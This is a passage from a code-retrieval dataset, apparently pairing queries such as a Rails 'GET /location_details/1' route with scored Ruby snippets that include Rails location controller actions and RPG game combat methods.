spirit_attack;end", "title": "" }, { "docid": "fc13c2f762b89e068633f0662cd24f94", "score": "0.5193538", "text": "def base_atk\n n = 0\n for item in weapons.compact do n += item.atk end\n n = Unarmed_Attack if weapons.empty?\n return n.to_i\n end", "title": "" }, { "docid": "9a0e3e7aec28c62b81768aa7c9ebdf75", "score": "0.51857257", "text": "def effect\n return self.damage\n end", "title": "" }, { "docid": "c8ea2ecd2f717bc36d3241de4d6f701c", "score": "0.5184149", "text": "def make_attack_damage_value(attacker)\n h87sinergia_madv(attacker)\n check_sinergic_damage(attacker, attacker.element_set)\n end", "title": "" }, { "docid": "528d2a4018e6b0226a3039bff8b378b7", "score": "0.51820683", "text": "def ats\n n = battle_effect.ats\n return (n * ats_modifier).to_i if n\n return (ats_basis * ats_modifier).floor\n end", "title": "" }, { "docid": "8d27dcdd0fb8abb6379d74502e9a5656", "score": "0.51745117", "text": "def impacted(away_from, attack_dmg)\n # if blocking?\n # @current_hp = attack_dmg <=2 ? @current_hp : @current_hp - (attack_dmg/2).floor\n # angle = Gosu.angle(away_from[0], away_from[1], @hb.x, @hb.y)\n # @recoil_speed_x = Gosu.offset_x(angle, @recoil_magnitude)\n # @recoil_speed_y = Gosu.offset_y(angle, @recoil_magnitude)\n # @event_tiks = @current_hp > 0 ? 16 : 18\n # @inv_frames = 16\n # end\n $WINDOW.kb_locked = true\n $WINDOW.interface.update\n @invis_frames = 20\n if attacking?\n @sword = nil\n end\n super\n puts \"PLAYER'S HP = #{@current_hp}\"\n end", "title": "" }, { "docid": "245b2209a6c2ee40d0bc72bef74f2b8d", "score": "0.51712954", "text": "def enemy_attack\n @@user.health -= rand(15..21)\n puts \"#{@@enemy.name} attacked you! 💔 💔 💔 💔 💔\".colorize(:light_red)\n sleep (0.5)\n end", "title": "" }, { "docid": "f4fdd27470187c0ad4cc440bcda74b1a", "score": "0.516869", "text": "def defeated\n if $game_party.monsters_defeated[enemy_id] == nil\n $game_party.monsters_defeated[enemy_id] = 0 \n end\n return $game_party.monsters_defeated[enemy_id]\n end", "title": "" }, { "docid": "f4fdd27470187c0ad4cc440bcda74b1a", "score": "0.516869", "text": "def defeated\n if $game_party.monsters_defeated[enemy_id] == nil\n $game_party.monsters_defeated[enemy_id] = 0 \n end\n return $game_party.monsters_defeated[enemy_id]\n end", "title": "" }, { "docid": "c31615387abddf3c9b2d80ccc3ed4b62", "score": "0.5161807", "text": "def damage_mod; 0; end", "title": "" }, { "docid": "1896a902ce415575fbd4787d2bdb254e", "score": "0.5160238", "text": "def cancel_attack(target)\n i = nil\n @scene.actions.each do |i|\n if i[0] == 0 and i[3] == target\n i[0] = -1\n end\n end\n end", "title": "" }, { "docid": "6582279f849bc974469df995e6d2f494", "score": "0.5160226", "text": "def get_game_ID\n 10000\n end", "title": "" }, { "docid": "74529501d53d4d997f1197c4be58b63b", "score": "0.51577264", "text": "def battler_hue\n return 0\n end", "title": "" } ]
d45395e6a3dabfaf1e24310ec1ef8441
The model_type of individual associated items for iteration.
[ { "docid": "20ab8af14c438cbc21928a801a80128f", "score": "0.5979999", "text": "def table_row_model_type\n row_model_type\n end", "title": "" } ]
[ { "docid": "b301f2011ecb3c11e81ac86385ea2d75", "score": "0.71576875", "text": "def model_type\n self.type\n end", "title": "" }, { "docid": "a7ca2e345bf1d2b2a4f10aed07ba714f", "score": "0.707287", "text": "def item_type\n @item.item_type if @item\n end", "title": "" }, { "docid": "f96d3caf8539fecdac07a61fa83c2b03", "score": "0.67948496", "text": "def model_type_key\n model.model_type_key\n end", "title": "" }, { "docid": "bd9055478d8a2f9533d35107fed8069a", "score": "0.66521", "text": "def row_model_type\n model_type\n end", "title": "" }, { "docid": "43f4daf57f75d2338dfcffab1175ff18", "score": "0.6552232", "text": "def pione_model_type\n self.class.pione_model_type\n end", "title": "" }, { "docid": "cc876cffb17d1d1c3cc91ab721c9d4fc", "score": "0.64973813", "text": "def item_type\n self.class.to_s.downcase\n end", "title": "" }, { "docid": "d1ab0a0f266e04007cff5dd14f2dd9cd", "score": "0.6462128", "text": "def item_class\n item_type.singularize.classify.constantize\n end", "title": "" }, { "docid": "8027c284cd874515a55e5a4e83f82fdb", "score": "0.6402576", "text": "def item_type\n self.class.name.singularize.ns_underscore\n end", "title": "" }, { "docid": "1cf5c710b073d6203f4776946124a5ce", "score": "0.63944745", "text": "def pione_model_type\n @pione_model_type\n end", "title": "" }, { "docid": "b941fb989c22f2985a408c8dbeacd238", "score": "0.6348626", "text": "def item_type\n name.singularize.ns_underscore\n end", "title": "" }, { "docid": "e85ed9ce45abcd457820a6ba8f2214e4", "score": "0.6300512", "text": "def returned_type\n model.returned_type\n end", "title": "" }, { "docid": "cdb56e573b0333061c00df69857cd7a1", "score": "0.624842", "text": "def row_model_type\n decorator_class.model_type\n end", "title": "" }, { "docid": "62d7178e38515427b2b1dfbf3dddf8e1", "score": "0.6220316", "text": "def model_class\n model.to_s.classify.constantize\n end", "title": "" }, { "docid": "2890b0f34a46f1b1d74d6b582ee00957", "score": "0.6201669", "text": "def v_model_type(item=nil)\n if item.nil?\n (type == :number || init_value.is_a?(Numeric)) ? 'v-model.number' : 'v-model'\n else\n item.is_a?(Integer) ? 'v-model.number' : 'v-model'\n end\n end", "title": "" }, { "docid": "0446c7dd27cfab39cdb1fc0505846c5a", "score": "0.6195664", "text": "def object_type\n return self.class.object_type\n end", "title": "" }, { "docid": "7d8616a4997c7b86e6ee1c74e3c43744", "score": "0.61835575", "text": "def model_by_type(type)\n @models.values.each do |m|\n return m if m.respond_to?(:abstract_type) &&\n m.abstract_type == type\n end\n nil\n end", "title": "" }, { "docid": "6fca47ff7b54c6797b2fcec8029f1ebf", "score": "0.61812156", "text": "def model_types\n types = []\n @models.each_value do |m|\n if m.respond_to?(:abstract_type) && m.abstract_type\n types << m.abstract_type\n end\n end\n types\n end", "title": "" }, { "docid": "71bc47065781423edb61f9eaf0607c88", "score": "0.61147046", "text": "def associated_model_class(assoc)\n framework.model_class(associated_class(assoc))\n end", "title": "" }, { "docid": "4d811adb6fafab6c843ae589088320b8", "score": "0.60959876", "text": "def type\n return @item[\"type\"]\n end", "title": "" }, { "docid": "964af147710d8dbd5a94d66bd7597121", "score": "0.6077634", "text": "def relationship_type\n self[:type]\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6058827", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6058827", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6058827", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "0c64b2a278cfd201efdca50b1516f195", "score": "0.6058827", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "dba6e2becd2f4ba4f172f44f8741dca2", "score": "0.6053903", "text": "def relationship_type\n @internal_r.get_type.name.to_sym\n end", "title": "" }, { "docid": "141ab2566441ddb9546e1dfb6318187c", "score": "0.60422397", "text": "def related_item_class\n Programme\n end", "title": "" }, { "docid": "1d16b6444143671a30701a82cab3b279", "score": "0.60419995", "text": "def relationship_type\n get_type.name.to_sym\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.60336", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.60336", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.60336", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "45730b0d555d2250402df4af9e65fbd5", "score": "0.60336", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "94b1ef185d81d019a76934373b9de329", "score": "0.60302055", "text": "def getModel type\n @models[type]\n end", "title": "" }, { "docid": "3faf5c8763e9b3af9e7c83f0ea4f2803", "score": "0.601411", "text": "def type\n @item[\"type\"]\n end", "title": "" }, { "docid": "ee80864d6e99da4142bfd5409f465eeb", "score": "0.6005922", "text": "def associated_model_class\n self.associated_model.present? ? self.associated_model.constantize : nil\n end", "title": "" }, { "docid": "324219ebe0b484947a55251addcbccf2", "score": "0.6003578", "text": "def model_for(related, association)\n related.class.reflect_on_association(association).klass.new\n end", "title": "" }, { "docid": "68210a9834515f98492be0d4cc91fc78", "score": "0.5997473", "text": "def _type\n @attributes[\"_type\"]\n end", "title": "" }, { "docid": "0c8e73bdb636be23d38614f49aa1234f", "score": "0.5993354", "text": "def model\n ResourceType.find(resource_type_id).model\n end", "title": "" }, { "docid": "0c8e73bdb636be23d38614f49aa1234f", "score": "0.5993354", "text": "def model\n ResourceType.find(resource_type_id).model\n end", "title": "" }, { "docid": "52a3e0781102c9e0d42705f9807915bd", "score": "0.5978562", "text": "def class\n to_model.class\n end", "title": "" }, { "docid": "474aaa9aadc8b8c913a9f334d5301f79", "score": "0.59744763", "text": "def item_type\n @item_type || NON_GROCERY\n end", "title": "" }, { "docid": "c96e93bf86fd58461d15c565b16501a4", "score": "0.5973175", "text": "def type; self.class.type; end", "title": "" }, { "docid": "417213a863bd1546a28dfccf57f3d3d7", "score": "0.5970524", "text": "def object_type\n return @object_type\n end", "title": "" }, { "docid": "c18e1fba6678fe35473c79be9af303f7", "score": "0.5968365", "text": "def itemtype\n @work['itemtype']\n end", "title": "" }, { "docid": "4f158ffa7fe1548a6a7f77ad148f5818", "score": "0.5965159", "text": "def type\n object.type\n end", "title": "" }, { "docid": "f54124a198d478be5526e73243a0c319", "score": "0.59641415", "text": "def type\n object.type.to_s.underscore\n end", "title": "" }, { "docid": "ac7bcd76f080be52bcdd4c7493e27fb2", "score": "0.59598464", "text": "def klass\n association.klass\n end", "title": "" }, { "docid": "ac7bcd76f080be52bcdd4c7493e27fb2", "score": "0.59598464", "text": "def klass\n association.klass\n end", "title": "" }, { "docid": "df125c103765e26ac5644b6f88c4d714", "score": "0.59453946", "text": "def elem_type\n association = nil \n ELEM_TYPES.each {|human, table_name| association = table_name unless self.try(table_name.singularize).nil?}\n association\n end", "title": "" }, { "docid": "fb3a105ffc904ab76d88e9517c967a18", "score": "0.59421766", "text": "def item_model\n ShopBunny.item_model_class_name.constantize\n end", "title": "" }, { "docid": "0461bf9a51e1b73b00bf4fc49db1a46e", "score": "0.5940611", "text": "def activity_type(activity)\n activity.item.class.to_s \n end", "title": "" }, { "docid": "e2c1558409bd4f85a4eb98c7122c3565", "score": "0.59394926", "text": "def type\n object.class.to_s\n end", "title": "" }, { "docid": "e2c1558409bd4f85a4eb98c7122c3565", "score": "0.59394926", "text": "def type\n object.class.to_s\n end", "title": "" }, { "docid": "081dda90d5476d438c843b414935b42e", "score": "0.5937817", "text": "def type\n object.class.name\n end", "title": "" }, { "docid": "081dda90d5476d438c843b414935b42e", "score": "0.5937817", "text": "def type\n object.class.name\n end", "title": "" }, { "docid": "5b903fd9f13fa2e7b21ff159ee44025b", "score": "0.59349906", "text": "def type\n return object.class.name\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "e4cd864a88b460c2c710c936022eb0fb", "score": "0.592577", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "4cd40c03487d4fc462f10fa6aa4b1caa", "score": "0.5903236", "text": "def model\n @model ||= type.constantize\n end", "title": "" }, { "docid": "197925efa8b4d2a03ffe977e3e61b550", "score": "0.5897441", "text": "def document_type\n klass.model_name.singular\n end", "title": "" }, { "docid": "882cd9f87a4062022fa0df175480db3e", "score": "0.58861727", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "882cd9f87a4062022fa0df175480db3e", "score": "0.58861727", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "882cd9f87a4062022fa0df175480db3e", "score": "0.58861727", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "882cd9f87a4062022fa0df175480db3e", "score": "0.58861727", "text": "def type\n self.class.type\n end", "title": "" }, { "docid": "6d630d1f84f213cb9febcfe95672a866", "score": "0.58801305", "text": "def model\n self.class\n end", "title": "" }, { "docid": "ec0bf2aec1fb5192fd11f374b0655083", "score": "0.5879793", "text": "def itemtype\n @edition['itemtype']\n end", "title": "" }, { "docid": "358f87bc7aec1bf6380dbda49a23a2c5", "score": "0.58786756", "text": "def activity_type(activity)\r\n #activity.item.class.to_s \r\n activity.item_type \r\n end", "title": "" }, { "docid": "5af4a3d46d6f006bd7f32762b1fa57ce", "score": "0.58682686", "text": "def type\n @attributes[:type]\n end", "title": "" }, { "docid": "9c08851a1ae5a006fad05e96c6fa152a", "score": "0.5863444", "text": "def generate_type_of_record\n self.type_of_record = mets_object.type_of_record\n end", "title": "" }, { "docid": "2753591841b8775ebf2fcb377ffd1726", "score": "0.5858027", "text": "def object_type\n self.class.name\n end", "title": "" }, { "docid": "b281a9815a56a6df1e1d8580afb0712a", "score": "0.58545715", "text": "def type\n elements.first.type\n end", "title": "" }, { "docid": "da8590dc73464ac865a560c9100b1fb3", "score": "0.583559", "text": "def _type\n self.class._type\n end", "title": "" }, { "docid": "a1e1fdfbffdcf869415dff16d0e7e96a", "score": "0.58343244", "text": "def model\n self.class\n end", "title": "" }, { "docid": "602e1518b5e57b9e1013b35e93839414", "score": "0.5831993", "text": "def entity_type\n self.class.entity_type\n end", "title": "" }, { "docid": "4a2f38c82bdfd814b39cb79e7a146c29", "score": "0.58311874", "text": "def model_class\n self.class.model_class\n end", "title": "" }, { "docid": "4e2b1e4948037986431577d385f8929e", "score": "0.58069515", "text": "def type\n\t\tself.class.type\n\tend", "title": "" }, { "docid": "4e2b1e4948037986431577d385f8929e", "score": "0.58069515", "text": "def type\n\t\tself.class.type\n\tend", "title": "" }, { "docid": "a71439c02e91015d5a6a288548df1762", "score": "0.5794747", "text": "def type_class\n self\n end", "title": "" }, { "docid": "d5e72a494dbd05294a47037be5eaa74d", "score": "0.5792662", "text": "def type\n self.class.to_s\n end", "title": "" }, { "docid": "efbd7e6a84eb404597608f79c792f97d", "score": "0.579147", "text": "def activity_type(activity)\n activity.item.class.to_s \n end", "title": "" }, { "docid": "efbd7e6a84eb404597608f79c792f97d", "score": "0.579147", "text": "def activity_type(activity)\n activity.item.class.to_s \n end", "title": "" }, { "docid": "efbd7e6a84eb404597608f79c792f97d", "score": "0.579147", "text": "def activity_type(activity)\n activity.item.class.to_s \n end", "title": "" }, { "docid": "efbd7e6a84eb404597608f79c792f97d", "score": "0.579147", "text": "def activity_type(activity)\n activity.item.class.to_s \n end", "title": "" }, { "docid": "f25e5d4679776af6d3c476eb75ee1800", "score": "0.5791111", "text": "def type\n types[self]\n end", "title": "" }, { "docid": "38558a02b46cc6a802b8db2c46e552f8", "score": "0.57805973", "text": "def pione_model_type\n @receiver.pione_model_type.method_interface[@name.to_s].output\n end", "title": "" }, { "docid": "d3042237a6231827d5a4b1f5d7734353", "score": "0.576107", "text": "def instance_type\n object.resolved_instance_type\n end", "title": "" }, { "docid": "d3042237a6231827d5a4b1f5d7734353", "score": "0.576107", "text": "def instance_type\n object.resolved_instance_type\n end", "title": "" }, { "docid": "e5b11048dad03f1ca3ce1d7099209bfa", "score": "0.5753747", "text": "def type\n :item\n end", "title": "" }, { "docid": "e5b11048dad03f1ca3ce1d7099209bfa", "score": "0.5753747", "text": "def type\n :item\n end", "title": "" }, { "docid": "98e760d0c550dde4c752d31b8b39237b", "score": "0.57396084", "text": "def item_class; end", "title": "" }, { "docid": "6a93eedaf5aef5a8a3b80bab1a68ec1d", "score": "0.573806", "text": "def ora_object_type\n self[:type]\n end", "title": "" }, { "docid": "80e2828a2fde5393a86546e08fa17939", "score": "0.5727297", "text": "def type\n self.class::TYPE\n end", "title": "" }, { "docid": "4708c146a07418cf415c83e53e3a1e73", "score": "0.57243276", "text": "def object_type\n self.class::OBJECT_TYPE\n end", "title": "" }, { "docid": "b98c11aa845f67ece7ed3b7c4365f446", "score": "0.57105404", "text": "def rel_type\n getType().name().to_sym\n end", "title": "" }, { "docid": "98e3c23946b350c931e5ab6a367e9273", "score": "0.57081103", "text": "def associated_models\n polymorphic? ? polymorphic_associations : regular_associations\n end", "title": "" } ]
4562780e6c62c481d0a860a265793d89
GET /location_details/1 GET /location_details/1.json
[ { "docid": "a81945373733e4951b987de6ea99f9a1", "score": "0.0", "text": "def show\n end", "title": "" } ]
[ { "docid": "0765ca15b7d2f7859069f40afd77fee7", "score": "0.7796811", "text": "def event_get_location_details\n @loc = Apis::HereApi.new(\"\").get_location_details(params[:locationid])\n render json: @loc\n end", "title": "" }, { "docid": "798160c5de31ad6b84370acc425b45aa", "score": "0.7488495", "text": "def show\n render json: Location.find(params[\"id\"])\n end", "title": "" }, { "docid": "2f65d9405d24f343bd6784696053f912", "score": "0.74633104", "text": "def get_location\n as_json(get_results('/locations.json'))\n end", "title": "" }, { "docid": "4fceba30cc2ce27f2049de51030e00d8", "score": "0.73959565", "text": "def show\n @location = Location.find(params[:id])\n render json: @locationProut\n end", "title": "" }, { "docid": "acab80363b902bc3ec78997446718da4", "score": "0.7392622", "text": "def show\n render :json => Location.find(params[:id])\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "7a3cd477384451323743ba2eabdf6181", "score": "0.73769563", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "9f1702d084e537dd17dfa985e2b94119", "score": "0.7320251", "text": "def show\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @location }\n end\n end", "title": "" }, { "docid": "ab6e54b985d3b26db176236714049cc3", "score": "0.7315618", "text": "def show\n @location_have_location = LocationHaveLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_have_location }\n end\n end", "title": "" }, { "docid": "8c7d6211fcb481991642dcad987e3ebc", "score": "0.7262327", "text": "def show\r\n @location = Location.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @location }\r\n end\r\n end", "title": "" }, { "docid": "67fa531af92166ac1842c72e40118fbc", "score": "0.7260379", "text": "def show\n @curpg = :admintools\n @location = Location.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "4c1b03b51137e806651e77f9c897cc1e", "score": "0.72506845", "text": "def get_details\n location = MapTopic::Location.find(params[:id])\n return render_json_dump serialize_data(location, MapTopic::LocationDetailedSerializer, root: false)\n end", "title": "" }, { "docid": "0b045616738b97db8e9123b0fa77df81", "score": "0.7168653", "text": "def show\n @corp_location = CorpLocation.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @corp_location }\n end\n end", "title": "" }, { "docid": "a020e63ef55729559f7e5e7caf837c5c", "score": "0.7145815", "text": "def show\n respond_to do |format|\n format.html { @api_v1_location }\n format.json { render json: {results: @api_v1_location, message: 'Locations have loaded successfully.'} }\n end\n end", "title": "" }, { "docid": "82b2087392963db0864f6e711141c6cc", "score": "0.71370286", "text": "def show\n @records_location = RecordsLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @records_location }\n end\n end", "title": "" }, { "docid": "53e548ceb06a0c0cf4db20eda6f7e8ce", "score": "0.7099428", "text": "def show\n @location_url_map = LocationUrlMap.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_url_map }\n end\n end", "title": "" }, { "docid": "953bc3d599297062114c5db03fba2178", "score": "0.70990896", "text": "def show\n @processed_location = ProcessedLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @processed_location }\n end\n end", "title": "" }, { "docid": "e7c99811c3271fa67a68ad722e256b49", "score": "0.70170635", "text": "def index\n @location_details = LocationDetail.all\n end", "title": "" }, { "docid": "c03b5cad2434f35196aee94d7bb49645", "score": "0.7010642", "text": "def show\n render json: @service_location\n end", "title": "" }, { "docid": "e31514ec3df27ecc72b3febad2b1e93b", "score": "0.699586", "text": "def show\n @event_location = EventLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_location }\n end\n end", "title": "" }, { "docid": "b2ffdd58e6370fb9df5ba6512f02e458", "score": "0.69855106", "text": "def show\n @loc = Loc.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @loc }\n end\n end", "title": "" }, { "docid": "3dc276ec5c56588b75d8c41a4b6217fc", "score": "0.6982723", "text": "def locations\n get('locations')\n end", "title": "" }, { "docid": "7151ccd26f552c963d765e3e1eded344", "score": "0.6954505", "text": "def show\n @items_location = ItemsLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @items_location }\n end\n end", "title": "" }, { "docid": "9e8e84fdceda35684b160bc31b7d3ddd", "score": "0.69184", "text": "def hotel_location\n service_data = hotel_service.get_location(params[:hotelId].to_i)\n result = false\n status = 'nok'\n\n if service_data[:hotel]\n #convert the JSON data to hash\n success_response = process_response(service_data[:list_hotel_response], \"LocationInfoResponse\")\n \n result = {\n :hotel => service_data[:hotel],\n :places => JSON.parse(success_response['response'])['LocationInfoResponse']['LocationInfos']['LocationInfo']\n }\n status = success_response['status']\n end\n respond_to do |format|\n format.json {render :json => {:data => result, :status => status}}\n end\n end", "title": "" }, { "docid": "879b0e1108fb4529f5f11466fc17ed30", "score": "0.6909848", "text": "def show\n @checklocation = Checklocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @checklocation }\n end\n end", "title": "" }, { "docid": "d001195ddd73fd6bce84860e14397afb", "score": "0.69070953", "text": "def get(params = {})\n client.get(\"/v1/reference-data/locations/#{@location_id}\", params)\n end", "title": "" }, { "docid": "a18ded123f24cfac04fa7067ed3d756e", "score": "0.6904832", "text": "def show\n Project.hit 31\n @location = IphoneLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n format.xml { render xml: @location }\n end\n end", "title": "" }, { "docid": "6c86a136c957fdceb9eca565bf9b9f4f", "score": "0.69008327", "text": "def show\n @location_property = LocationProperty.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_property }\n end\n end", "title": "" }, { "docid": "813c148aa00c179b96fadbbc44280cfd", "score": "0.6884645", "text": "def show\r\n @discounts_on_location = DiscountsOnLocation.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @discounts_on_location }\r\n end\r\n end", "title": "" }, { "docid": "6e5f566291b61d004e5562562924304e", "score": "0.67915833", "text": "def show\n @location = Location.find(params[:id])\n @jobs = @location.jobs\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "27b961a9a66ca97005d70512c623701d", "score": "0.67820853", "text": "def show\n @deal_location = DealLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @deal_location }\n end\n end", "title": "" }, { "docid": "83f8362160dbc0b869955739a422dff8", "score": "0.6759355", "text": "def show\n @location_point = LocationPoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location_point }\n end\n end", "title": "" }, { "docid": "8e12252a7b697428b25189ff04ccb16d", "score": "0.67593205", "text": "def show\n @event = Event.find_by_url(params[:id])\n @json = Location.where(id: @event.location_id).to_gmaps4rails\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "10765968b17378c3c69dfdbce2ba92b5", "score": "0.67462265", "text": "def get_json\n response = conn.get(@current_location)\n parsed = JSON.parse(response.body, symbolize_names: true)\n\n end", "title": "" }, { "docid": "85b86c54d0bd0f59c05cb21048fee8a1", "score": "0.6744074", "text": "def show\n @tutor_location = TutorLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tutor_location }\n end\n end", "title": "" }, { "docid": "c9ca650243dff1dbfe05fbb30069a9f5", "score": "0.673766", "text": "def show\n @subcellular_location = SubcellularLocation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @subcellular_location }\n end\n end", "title": "" }, { "docid": "a895952172465388f41734f5100cb8a1", "score": "0.6728318", "text": "def new\n @location_have_location = LocationHaveLocation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location_have_location }\n end\n end", "title": "" }, { "docid": "a0838eaefaacb0cbb242f2ea88996d39", "score": "0.67266613", "text": "def index\n locations = Location.all\n render json: locations\n end", "title": "" }, { "docid": "293a13e60f06b441c557fc0f7d1d8fe9", "score": "0.67128193", "text": "def get_json\n response = @api.request(:get, @location)\n response.body if response.status == 200\n end", "title": "" }, { "docid": "7d723c410396e7f8ba81153e8a86f9b1", "score": "0.6706363", "text": "def show\n @itemname = Itemname.find(params[:id])\n @locations = Location.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @itemname }\n end\n end", "title": "" }, { "docid": "48f3121ace381a94558fa8b18b7862dd", "score": "0.6688977", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "48f3121ace381a94558fa8b18b7862dd", "score": "0.6688977", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "48f3121ace381a94558fa8b18b7862dd", "score": "0.6688977", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "48f3121ace381a94558fa8b18b7862dd", "score": "0.6688977", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "48f3121ace381a94558fa8b18b7862dd", "score": "0.6688977", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "833fb054e37377186cc01d109259c763", "score": "0.66682106", "text": "def new\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @location }\n end\n end", "title": "" }, { "docid": "d05f4bdb9f0165a88cf9839c4e01bf5e", "score": "0.664879", "text": "def new\n @curpg = :admintools\n @location = Location.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @location }\n end\n end", "title": "" }, { "docid": "3efee0d6c58290409a41162d0df73751", "score": "0.6647208", "text": "def show\n if can?(:>=, \"5\")\n @location = Kitting::Location.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @location }\n end\n else\n redirect_to main_app.unauthorized_url\n end\n end", "title": "" }, { "docid": "82c9b7db9318a357317bc49a118c3c67", "score": "0.6640022", "text": "def show\n @location = Location.find(params[:id])\n end", "title": "" }, { "docid": "82c9b7db9318a357317bc49a118c3c67", "score": "0.6640022", "text": "def show\n @location = Location.find(params[:id])\n end", "title": "" }, { "docid": "82c9b7db9318a357317bc49a118c3c67", "score": "0.6640022", "text": "def show\n @location = Location.find(params[:id])\n end", "title": "" }, { "docid": "82c9b7db9318a357317bc49a118c3c67", "score": "0.6640022", "text": "def show\n @location = Location.find(params[:id])\n end", "title": "" }, { "docid": "099e79e521f3e619bbb3f9d7f97fa0aa", "score": "0.66384786", "text": "def show\n @campus_food = CampusFood.find(params[:id])\n\t@loc = 